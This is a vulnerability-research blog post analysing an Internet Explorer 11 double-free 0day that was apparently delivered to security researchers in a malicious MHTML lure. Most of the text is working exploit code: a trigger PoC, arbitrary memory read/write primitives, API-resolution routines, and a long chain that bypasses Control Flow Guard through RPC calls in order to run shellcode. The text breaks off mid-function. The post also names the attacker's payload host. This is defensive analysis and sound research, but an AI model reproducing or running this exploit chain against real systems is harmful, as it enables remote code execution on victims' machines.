Vulnerability Research

Internet Explorer 0day Analysis

Internet Explorer 0day Analysis

EnkiWhiteHat

2024. 4. 17.

Overview

Google and Microsoft have published their analysis results on North Korean hacking attacks targeting security researchers. As previously known, similar SNS-based attacks were also attempted against Enki's researchers.

However, since the hacking attack was obvious, the attacker's attempt failed, and we were instead able to secure logs from when the attack was being attempted. In this post, we will share our analysis results of the Internet Explorer 0day attack that was not covered in the publicly released analysis of Chrome, Visual Studio, and other attacks.

Initial Attack

The attacker approached us requesting participation in modifying Chrome exploit code for macOS targets, and delivered a document containing Chrome vulnerability code as a "Chrome_85_RCE_Full_Exploit_Code.mht" file. The file is an MHTML file used for local storage when visiting websites using the Internet Explorer browser.

While some content of this file can be viewed in Chrome, it was designed so that the full content can only be read when JavaScript functionality is enabled and button actions are working. This is presumed to be an attempt to induce attack targets to use the Internet Explorer browser.

When script execution is allowed, it downloads additional payloads twice from a remote location (codevexillium[.]org), and the secondary payload contains exploit code that attacks vulnerabilities in the Internet Explorer browser.

Exploit Analysis

Root Cause Analysis

<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">
/*
IE Double Free 0day PoC extracted from "Chrome_85_RCE_Full_Exploit_Code.mht" malware
Tested on Windows 10 Pro 19042.746, IE11, x64

(20e0.2140): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
jscript9!Js::DataView::SetValue<int,int *>+0x48:
6c903c89 890411          mov     dword ptr [ecx+edx],eax ds:002b:41414141=????????
1:023:x86> r
eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=05cfb210 edi=05bacda8
eip=6c903c89 esp=05bacd5c ebp=05bacd5c iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
1:023:x86> vertarget
Windows 10 Version 19042 MP (8 procs) Free x64
Product: WinNt, suite: SingleUserTS
Edition build lab: 19041.1.amd64fre.vb_release.191206-1406
*/
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }
function pad0(str) {
    return ('0000' + str).slice(-4)
}
function alloc1() {
    var view = new DataView(abf)
    var str = ''
    for (var i = 4; i < abf.byteLength - 2; i += 2)
        str += '%u' + pad0(view.getUint16(i, true).toString(16))
    var result = document.createAttribute('alloc')
    result.nodeValue = unescape(str)
    return result
}
function alloc2() {
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, [{}])
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    return dic1.items()
}
function dump(nv) {
    var ab = new ArrayBuffer(0x20010)
    var view = new DataView(ab)
    for (var i = 0; i < nv.length; ++i)
        view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
    return ab
}
function Data(type, value) {
    this.type = type
    this.value = value
}
function setData(i, data) {
    var arr = new Uint32Array(abf)
    arr[i * 4] = data.type
    arr[i * 4 + 2] = data.value
}
function flush() {
    hd1.nodeValue = (new alloc1()).nodeValue
    hd2.nodeValue = 0
    hd2 = hd1.cloneNode()
}
function read(addr, size) {
    switch (size) {
        case 8:
            return god.getUint8(addr)
        case 16:
            return god.getUint16(addr, true)
        case 32:
            return god.getUint32(addr, true)
    }
}
function write(addr, value, size) {
    switch (size) {
        case 8:
            return god.setUint8(addr, value)
        case 16:
            return god.setUint16(addr, value, true)
        case 32:
            return god.setUint32(addr, value, true)
    }
}
var god
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var leak = alloc2()
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
    valueOf: function() {
        hd1.nodeValue = (new alloc1()).nodeValue
        ele.clearAttributes()
        hd2 = hd1.cloneNode()
        ele.setAttribute('attribute', 1337)
    }
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
ele.removeAttributeNode(att)
hd0.nodeValue = leak
var memory = new Uint32Array(dump(hd2.nodeValue))[6]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var tmp = new Array(0x10)
var mem = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, memory + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) 
    tmp[i] = ref.getItem(i + 1)
ref = null
setData(1, new Data(VT_BYREF | VT_I4, tmp[4]))
setData(2, new Data(VT_BYREF | VT_I4, tmp[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, tmp[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
for (var i = 0; i < 16; ++i) mem[i] = tmp[i]
mem[4] = bs + 0x40
mem[16] = vt
mem[17] = gc
mem[24] = 0xffffffff
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null
write(0x41414141, 0x42424242, 32)
</script>
</body>
</html>

The above is PoC code that triggers the bug extracted from the exploit code to analyze the root cause of the vulnerability. Analysis results confirmed that the bug used by the attacker is a Double Free bug occurring in the attribute value release part of DOM objects.

eax=0eab29a4 ebx=0bdbb518 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb4cc
eip=75594d20 esp=0bdbb4c4 ebp=0bdbb4d4 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> dd esp l2
0bdbb4c4  6dbf32d6 12564ff4
0:010> !heap -p -a 12564ff4-4
    address 12564ff0 found in
    _DPH_HEAP_ROOT @ 3971000
    in busy allocation (  DPH_HEAP_BLOCK:         UserAddr         UserSize -         VirtAddr         VirtSize)
                                12560f70:         12564ff0            20010 -         12564000            22000
    6e1194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c
    778c158b ntdll!RtlDebugAllocateHeap+0x0000003c
    77881445 ntdll!RtlpAllocateHeap+0x00065745
    7781ad5e ntdll!RtlAllocateHeap+0x0000013e
    76dab056 combase!CRetailMalloc_Alloc+0x00000016 [d:\blue\com\combase\class\memapi.cxx @ 641]
    75595174 OLEAUT32!APP_DATA::AllocCachedMem+0x0000005f
    7559524f OLEAUT32!SysAllocString+0x0000007f
    665249eb MSHTML!FormsAllocStringW+0x00000015
    66bcaafe MSHTML!CAttrArray::Set+0x00000255
    66b5f589 MSHTML!CBase::InvokeAA+0x0000010e
    66b5ecc0 MSHTML!CElement::ie9_setAttributeNSInternal+0x00000222
    66816392 MSHTML!CElement::Var_setAttribute+0x00000152
    668163f4 MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0x00000044
    661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069
0:010> k
 # ChildEBP RetAddr 
00 0bc9b500 6dbf32d6 OLEAUT32!SysFreeString
01 0bc9b514 66b83950 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26
02 0bc9b540 66f29271 MSHTML!CAttrArray::Free+0x117
03 0bc9b56c 66f376ad MSHTML!CAttrArray::Clear+0xeb
04 0bc9b5ac 6724a6c2 MSHTML!CElement::clearAttributes+0xfd
05 0bc9b5c8 661e6eee MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x32
06 0bc9b604 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69
0:010> g
Breakpoint 1 hit
eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb45c
eip=75594d20 esp=0bdbb454 ebp=0bdbb464 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> g
Breakpoint 1 hit
eax=00000000 ebx=00000008 ecx=0bdbb540 edx=01000000 esi=00000000 edi=0bdbb540
eip=75594d20 esp=0bdbb4c8 ebp=0bdbb4e0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> g
Breakpoint 1 hit
eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbbbf8
eip=75594d20 esp=0bdbbbf0 ebp=0bdbbc00 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
OLEAUT32!SysFreeString:
75594d20 8bff            mov     edi,edi
0:010> dd esp l2
0bdbbbf0  6dbf32d6 12564ff4
0:010> !heap -p -a 12564ff4-4
    address 12564ff0 found in
    _DPH_HEAP_ROOT @ 3971000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                   12560f70:         12564000            22000
    6e119712 verifier!AVrfDebugPageHeapFree+0x000000c2
    778c1da2 ntdll!RtlDebugFreeHeap+0x0000003c
    778805db ntdll!RtlpFreeHeap+0x00066d3b
    778194d8 ntdll!RtlFreeHeap+0x00000478
    76daafcb combase!CRetailMalloc_Free+0x0000001b [d:\blue\com\combase\class\memapi.cxx @ 687]
    755950ad OLEAUT32!APP_DATA::FreeCachedMem+0x000000a7
    755fae5d OLEAUT32!SysFreeStringImpl+0x0000007d
    755faeca OLEAUT32!SysReleaseString+0x0000001a
    755c6b3e OLEAUT32!SysFreeString+0x00000013
    6dbf32d6 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x00000026
    66b83950 MSHTML!CAttrArray::Free+0x00000117
    66f29271 MSHTML!CAttrArray::Clear+0x000000eb
    66f376ad MSHTML!CElement::clearAttributes+0x000000fd
    6724a6c2 MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x00000032
    661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069
0:010> k
 # ChildEBP RetAddr  
00 0bbbbb0c 6dbf32d6 OLEAUT32!SysFreeString
01 0bbbbb20 669f5adf IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26
02 0bbbbb30 6656601b MSHTML!CAttrValue::Free+0x5c
03 0bbbbb74 670178d1 MSHTML!CAttrArray::Destroy+0x7f
04 0bbbbb84 66f40b41 MSHTML!CBase::DeleteAt+0x2b
05 0bbbbbdc 66f4094b MSHTML!CElement::ie9_removeAttributeNodeInternal+0x1a1
06 0bbbbc24 67258afd MSHTML!CElement::ie9_removeAttributeNode+0xbb
07 0bbbbc70 661e6eee MSHTML!CFastDOM::CElement::Trampoline_removeAttributeNode+0x6d
08 0bbbbcac 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69

From the debugging log, we can confirm that the already freed heap area is being freed once again through the OLEAUT32!SysFreeString function. The OLEAUT32!SysFreeString API is used when releasing string data attributes bound to DOM objects, and this API internally manages the memory to be freed through the APP_DATA::FreeCachedMem function.

At this time, data of size 0x8000 or larger doesn't go through the APP_DATA memory manager's cache function and is immediately freed through the default process heap memory manager, thus avoiding the effects of memory protection features such as Isolated Heap and Delayed free currently applied to IE browser.

Arbitrary Memory R/W

var abf = new ArrayBuffer(0x20010)
var fake = new ArrayBuffer(0x100)

function alloc1() { // allocate 0x20010
    var view = new DataView(abf)
    var str = ''
    for (var index = 4; index < abf.byteLength - 2; index += 2)
        str += '%u' + pad0(view.getUint16(index, true).toString(16))
    var result = document.createAttribute('alloc1')
    result.nodeValue = unescape(str)
    return result
}

function alloc2() { // allocate 0x20010
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, [{}])
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    var reseult = document.createAttribute('alloc2')
    result.nodeValue = dic1.items()
    return result
}

Due to the double free bug, the alloc1 and alloc2 functions use different types of objects but allocate data to the same memory address space, allowing us to obtain Type Confusion conditions.

To execute additional exploit code, the attacker creates a Fake ArrayBuffer with buffer address 0x0 and size 0x7FFFFFFF, then creates a DataView object that can read and write the entire user space memory of the process.

var dv = new DataView(fake_unlimit_arraybuffer)

function read(addr, size) {
    switch (size) {
        case 8:
            return dv.getUint8(addr)
        case 16:
            return dv.getUint16(addr, true)
        case 32:
            return dv.getUint32(addr, true)
    }
}

function write(addr, value, size) {
    switch (size) {
        case 8:
            return dv.setUint8(addr, value)
        case 16:
            return dv.setUint16(addr, value, true)
        case 32:
            return dv.setUint32(addr, value, true)
    }
}

write(0x41414141, 0x42424242, 32)
/*
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=41414141 edi=42424242
eip=663c5565 esp=0899b89c ebp=0899b89c iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
jscript9!Js::DataView::SetValue<int,int *>+0x3a:
663c5565 890411          mov     dword ptr [ecx+edx],eax ds:0023:41414141=????????
*/

After creating the DataView, additional work is performed to enable arbitrary API calls using read/write utility functions.

Arbitrary Function Call

function getDllBase(base, name) {
    var tmpValue = 0
    var index = 0
    var iat = base + read(base + read(base + 60, 32) + 128, 32)
    while (true) {
        var offset = read(iat + index * 20 + 12, 32)
        if (strcmp(base + offset, name)) break
        index++
    }
    var addr = read(iat + index * 20 + 16, 32)
    return getBase(read(base + addr, 32))
}

function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && findPEbase(addr)) break
        addr -= 0x10000
    }
    return addr
}

function isMZ(addr) {
    return read(addr, 16) == 0x5a4d
}
function findPEbase(addr) {
    var sizeOfHeaders = read(addr + 60, 32)
    if (sizeOfHeaders > 0x600) return null
    var addr = addr + sizeOfHeaders
    if (read(addr, 32) != 0x4550) return null
    return addr
}
function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}

In a situation where access to the entire process memory is possible, the attacker implements utility functions as shown above to analyze the internal state of the process and prepare to call necessary APIs arbitrarily.

In this exploit code, if Control Flow Guard is applied, it bypasses this protection mechanism, and the attacker abuses the RPC mechanism provided by the Windows operating system for arbitrary API calls.

By configuring memory as shown above, the attacker was able to freely call arbitrary APIs with arguments through the rpcrt4!Invoke(...) function, starting from the rpcrt4!NdrServerCall2(...) function.

The following is PoC exploit code that neutralizes protection mechanisms such as CFastDOM::ValidateCall and Control Flow Guard, and executes shellcode:

<!doctype html>
<html lang="en">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }

function pad0(str) {
    return ('0000' + str).slice(-4)
}
function alloc1() {
    var view = new DataView(abf)
    var str = ''
    for (var i = 4; i < abf.byteLength - 2; i += 2)
        str += '%u' + pad0(view.getUint16(i, true).toString(16))
    var result = document.createAttribute('alloc')
    result.nodeValue = unescape(str)
    return result
}
function alloc2() {
    var dic1 = new ActiveXObject('Scripting.Dictionary')
    var dic2 = new ActiveXObject('Scripting.Dictionary')
    dic2.add(0, 1)
    dic1.add(0, dic2.items())
    dic1.add(1, fake)
    dic1.add(2, arr)
    for (i = 3; i < 0x20010 / 0x10; ++i)
        dic1.add(i, 0x12341234)
    return dic1.items()
}
function dump(nv) {
    var ab = new ArrayBuffer(0x20010)
    var view = new DataView(ab)
    for (var i = 0; i < nv.length; ++i)
        view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
    return ab
}
function Data(type, value) {
    this.type = type
    this.value = value
}
function setData(i, data) {
    var arr = new Uint32Array(abf)
    arr[i * 4] = data.type
    arr[i * 4 + 2] = data.value
}
function flush() {
    hd1.nodeValue = (new alloc1()).nodeValue
    hd2.nodeValue = 0
    hd2 = hd1.cloneNode()
}
function read(addr, size) {
    switch (size) {
        case 8:
            return god.getUint8(addr)
        case 16:
            return god.getUint16(addr, true)
        case 32:
            return god.getUint32(addr, true)
    }
}
function write(addr, value, size) {
    switch (size) {
        case 8:
            return god.setUint8(addr, value)
        case 16:
            return god.setUint16(addr, value, true)
        case 32:
            return god.setUint32(addr, value, true)
    }
}
function writeData(addr, data) {
    for (var i = 0; i < data.length; ++i)
        write(addr + i, data[i], 8)
}
function addrOf(obj) {
    arr[0] = obj
    return read(pArr, 32)
}
function strcmp(str1, str2) {
    str1 = (typeof str1 == 'string') ? str1 : toStr(str1)
    str2 = (typeof str2 == 'string') ? str2 : toStr(str2)
    return str1.toLowerCase() == str2.toLowerCase()
}
function memcpy(dst, src, size) {
    for (var i = 0; i < size; ++i)
        write(dst + i, read(src + i, 8), 8)
}
function toStr(addr) {
    var str = ''
    while (true) {
        var c = read(addr, 8)
        if (c == 0) break
        str += String.fromCharCode(c)
        addr++
    }
    return str
}
function newStr(str) {
    var buffer = createArrayBuffer(str.length + 1)
    for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8)
    write(buffer + i, 0, 8)
    return buffer
}
function getDllBase(base, name) {
    var tmpValue = 0
    var index = 0
    var iat = base + read(base + read(base + 60, 32) + 128, 32)
    while (true) {
        var offset = read(iat + index * 20 + 12, 32)
        if (strcmp(base + offset, name)) break
        index++
    }
    var addr = read(iat + index * 20 + 16, 32)
    return getBase(read(base + addr, 32))
}
function getBase(addr) {
    var addr = addr & 0xffff0000
    while (true) {
        if (isMZ(addr) && isPE(addr)) break
        addr -= 0x10000
    }
    return addr
}
function isMZ(addr) {
    return read(addr, 16) == 0x5a4d
}
function isPE(addr) {
    var sizeOfHeaders = read(addr + 60, 32)
    if (sizeOfHeaders > 0x600) return null
    var addr = addr + sizeOfHeaders
    if (read(addr, 32) != 0x4550) return null
    return addr
}
function winVer() {
    var appVersion = window.navigator.appVersion
    var ver = 0
    if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) {
        ver = 100
    } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) {
        ver = 81
    } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) {
        ver = 80
    } else {
        ver = 70
    }
    return ver
}
function createArrayBuffer(size) {
    var ab = new ArrayBuffer(size)
    var bs = read(addrOf(ab) + 0x1c, 32)
    map.set(bs, ab)
    return bs
}
function getProcAddr(addr, name) {
    var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
    var non = read(eat + 0x18, 32)
    var aof = addr + read(eat + 0x1c, 32)
    var aon = addr + read(eat + 0x20, 32)
    var aono = addr + read(eat + 0x24, 32)
    for (var i = 0; i < non; ++i) {
        var offset = read(aon + i * 4, 32)
        if (strcmp(addr + offset, name)) break
    }
    var offset = read(aono + i * 2, 16)
    return addr + read(aof + offset * 4, 32)
}
function readyRpcCall(func) {
    var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation')
    var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo')
    var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable')
    write(RPC_DISPATCH_TABLE_Buffer, func, 32)
}
function setArgs(args) {
    var buffer = createArrayBuffer(48)
    for (var i = 0; i < args.length; ++i) {
        write(buffer + i * 4, args[i], 32)
    }
    _RPC_MESSAGE.set(msg, 'Buffer', buffer)
    _RPC_MESSAGE.set(msg, 'BufferLength', 48)
    _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000)
    return buffer
}
function callRpcFreeBufferImpl() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer)
    return call(rpcFree)
}
function callRpcFreeBuffer() {
    var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
    var result = read(buffer, 32)
    callRpcFreeBufferImpl()
    return result
}
function call2(func, args) {
    readyRpcCall(func)
    var buffer = setArgs(args)
    call(msg)
    map.delete(buffer)
    return callRpcFreeBuffer()
}
function call(addr) {
    var result = 0
    write(paoi + 0x18, addr, 32)
    try {
        xyz.normalize()
    } catch (error) {
        result = error.number
    }
    write(paoi + 0x18, patt, 32)
    return result
}
function prepareCall(addr, func) {
    var buf = createArrayBuffer(cattr.size())
    var vft = read(patt, 32)
    memcpy(addr, patt, cbase.size())
    memcpy(buf, vft, cattr.size())
    cbase.set(addr, 'pvftable', buf)
    cattr.set(buf, 'normalize', func)
}
function createBase() {
    var isWin7 = winVer() == 70
    var size = isWin7 ? 560 : 572
    var offset = isWin7 ? 540 : 548
    var addr1 = createArrayBuffer(size + cbase.size())
    var addr2 = createArrayBuffer(48)
    write(addr1 + offset, addr2, 32)
    write(addr2 + 40, 8, 32)
    write(addr2 + 36, 8, 32)
    return {
        size: size,
        addr: addr1
    }
}
function aos() {
    var baseObj = createBase()
    var addr = baseObj.addr + baseObj.size
    var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')
    prepareCall(addr, I_RpcTransServerNewConnection)
    return read(read(call(addr)-0xf8, 32), 32)
}
function SymTab(size, sym) {
    this.size = function() {
        return size
    }
    this.set = function(addr, name, value) {
        var o = sym[name]
        write(addr + o.offset, value, o.size)
    }
    this.get = function(addr, name) {
        var o = sym[name]
        return read(addr + o.offset, o.size)
    }
}
function initRpc() {
    var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0]
    var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')
    var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')
    var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')
    var RPCMessageObject = createArrayBuffer(cbase.size())
    var buffer = createArrayBuffer(0x100)
    var buffer2 = createArrayBuffer(0x200)
    var AttributeVtable = read(patt, 32)
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())
    var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())
    var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())
    var rpcProcStringBuffer = createArrayBuffer(data.length)
    writeData(rpcProcStringBuffer, data)
    var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())
    var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())
    var NdrServerCall2Buffer = createArrayBuffer(4)
    write(NdrServerCall2Buffer, NdrServerCall2, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 0x40, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
    cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)
    write(RPCMessageObject + 76, 1, 32)
    syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)
    _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)
    _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)
    RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)
    PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)
    _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)
    _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)
    _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)
    return RPCMessageObject
}
function rpcFree() {
    var Cbase = createArrayBuffer(cbase.size())
    var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer')
    var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
    var AttributeVtable = read(patt, 32)
    write(MSHTMLSymbolBuffer, osf_vft, 32)
    write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
    write(MSHTMLSymbolBuffer + 8, 64, 32)
    cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
    cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
    cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
    cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer)
    cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer)
    cbase.set(Cbase, 'pSecurityContext', Cbase + 68)
    write(Cbase + 76, 1, 32)
    return Cbase
}
function CFGObject(baseAddress) {
    var PEAddr = isPE(baseAddress)
    var eat = PEAddr + 120
    var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32)
    var size = read(LOAD_CONFIG_DIRECTORY, 32)
    var sizeOfImage = read(PEAddr + 0x50, 32)
    var CFGSymbolTable = new SymTab(0x5c, {
        '___guard_check_icall_fptr': {
            offset: 72,
            size: 32
        }
    })
    
    var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr')
    this.getCFGAddress = function() {
        return guard_check_icall_fptr_address
    }
    this.getCFGValue = function() {
        if (size < CFGSymbolTable.size()) return false
        var currentCFGValue = read(guard_check_icall_fptr_address, 32)
        var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage)
